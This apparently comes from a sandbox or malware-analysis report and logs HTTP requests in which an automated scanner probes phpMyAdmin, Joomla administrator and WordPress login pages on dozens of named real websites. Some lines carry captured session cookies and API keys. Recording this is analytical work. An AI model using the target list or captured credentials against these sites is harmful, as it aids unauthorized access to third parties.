Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: wonka.ccAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://ce-logic.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /concord/phpMyAdmin/ HTTP/1.1Host: kidsrkids.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: capforge.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.linkan-group.com/administrator
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://webstamp.ca/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en/administrator/index.php HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.dstaq.com/en/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.2brospw.com/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://unaj.edu.pe/administrator/
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipCookie: site_version_phase=108; site_version=HDv3User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: saudi-jamac.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: OF=rbm97dnas60169fmufv15tpfb5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.grg17geblergasse.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://engel-firm.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; OF=3dbfg2bnrmlhvmjhpi48421sg2User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://tiswheels.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: capforge.comAccept: /Accept-Encoding: deflate, gzipCookie: pbid=1edc227536cb7fc30f88097431cc67116634c85ffdbc8581853118f953068a74User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://capforge.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.avient.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: coralparkchristian.orgAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=25spuedk1v8jkqk9dcaj8tnufuUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=k11oabf2270bqa8id9iv53haooUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://talentius.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=CCSTuNw27vjAGhe0LambVrEDd4CnmWBK1UKexrI2tUk-1700978372739-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://tradeavenida.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.harasduberry.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipCookie: SWSessionID=ba42e268-c765-4904-80e3-ade29c961f0f; AccountID=Xogon24LhVEF1Gfd40nUZQ==; APIKey=1bbe4818-f2c5-416c-a84a-2ce99b631f94; CSAN=zXOKKR3GedasH9m5g4E4RQ==; PSDB=lL7iN951F63+qccmbSPISkYpSYcXNAdZfwA6IkfZ1mg=; PSN=TYQOVZnyPCoiWL2kw/FH8w==User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.perrisesd.org/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: belongfbg.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://himontessori.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: rech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6IitSbkFTNmJDdjloOWhzTnFzTm9qZ1E9PSIsInZhbHVlIjoiaEFSQ29UbVZRQ29lczgrVDZYMGR4NDkyd1MwNkx2TG9kOUpoVEhxdUIzRSsydE50aGYxekF4RkRvNk1kaUh2c1hyYkVFalByeDJuOE9QckNwV21lMjVLTnY4cEV2TUtOZitzb1c0UVVLVWVCYTZ3NllZWmdiTXFYSlZyR0FhcHEiLCJtYWMiOiJhMjg5ZTNiNmRlMTdjMDllNTQzNTZjMmI5YTNhZmNhYzI4ZjExM2E0NTQ0ZDhiNGM4NjQ1Nzc0NDQ2MGViN2UyIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6IjNpSDA4TTd2dzFidW15T3J0Q1EwNEE9PSIsInZhbHVlIjoiTTRWK1RrOHAzeFRlbWNaSm15TU1yWmdObVBKYW9rQk43THM3ZzZRekFpQlNvM00yNkRvSTNBeEFDVlBkT3FvYUp1aTZrNEdub2Q4aE9NbHp2VmVGS2lRcUs5dC8rdE5USEtJMFZYdGNGRXJDU2tweUluS01ST3FTSnQ1ZWkxN3MiLCJtYWMiOiI1YTdkOGYwZDQ0ZjkwN2VkZjUxMThkMzI2MWE2YWJhOGNlMjUwYjdiZTE3OWYzMjQ5YjdhNDFhMTMyMmFhNjlhIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InN0bXgycFppajByVzJ5VVFma0l6Q1E9PSIsInZhbHVlIjoiMHpVODVyYnBYREhlaXpTQS9mOTZkUUVYdjFHcWh4bWhnMytScHBadC9hbkF3RktMbXVBNmwwYVN4ZWVtQldJS2pwWm9rU0U4d2lYbGd4ZEFLNEVlOW5Bc0E3WFRCUmMwMjBjUFB1RDJ0NnZqR1ZlWWQ0ckxUWStRaWZqR1c4bmkiLCJtYWMiOiI2OTU4OWFkZGVkMzU2N2I5ZGJlMGVhMWJmZmUxYzA0NjdlYjBlNDM1M2M2ZTcyNDczYzkwNTNkOTc1NzdhMGU3IiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://www.gatewaytoearlylearning.com/administrator
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipCookie: pbid=172ff377aa4b3bde11e2a50383ed15a74ccd93833e8072198de1d3f5028def60User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://mydirectlender.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.avient.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: capforge.comAccept: /Accept-Encoding: deflate, gzipCookie: pbid=1edc227536cb7fc30f88097431cc67116634c85ffdbc8581853118f953068a74User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://capforge.com/administrator/
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://getquipu.com/
Source: global traffic	HTTP traffic detected: GET /login/?page=%2Fadministrator%2F HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.integraledu.hrAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://tiswheels.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://lumaruniformes.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.ceuandalucia.es/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=k11oabf2270bqa8id9iv53haooUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://talentius.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://gruporegiosafety.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://micro-design.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: student.debritto.sch.idAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://esoft.academy/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipCookie: pbid=172ff377aa4b3bde11e2a50383ed15a74ccd93833e8072198de1d3f5028def60User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://mydirectlender.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://edgewater.group/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Ftradeavenida.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=CCSTuNw27vjAGhe0LambVrEDd4CnmWBK1UKexrI2tUk-1700978372739-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://tradeavenida.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://lumaruniformes.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.grantstech.io/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipCookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.maxiv.lu.se/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://micro-design.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Fhimontessori.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://himontessori.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.ceuandalucia.es/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en/wp-login.php HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /saml/index.php?page=%2Fadministrator%2F HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: saudi-jamac.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: OF=3dbfg2bnrmlhvmjhpi48421sg2User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: coralparkchristian.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /concord/PhpMyAdmin/ HTTP/1.1Host: kidsrkids.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.knu.ac.in/administrator/
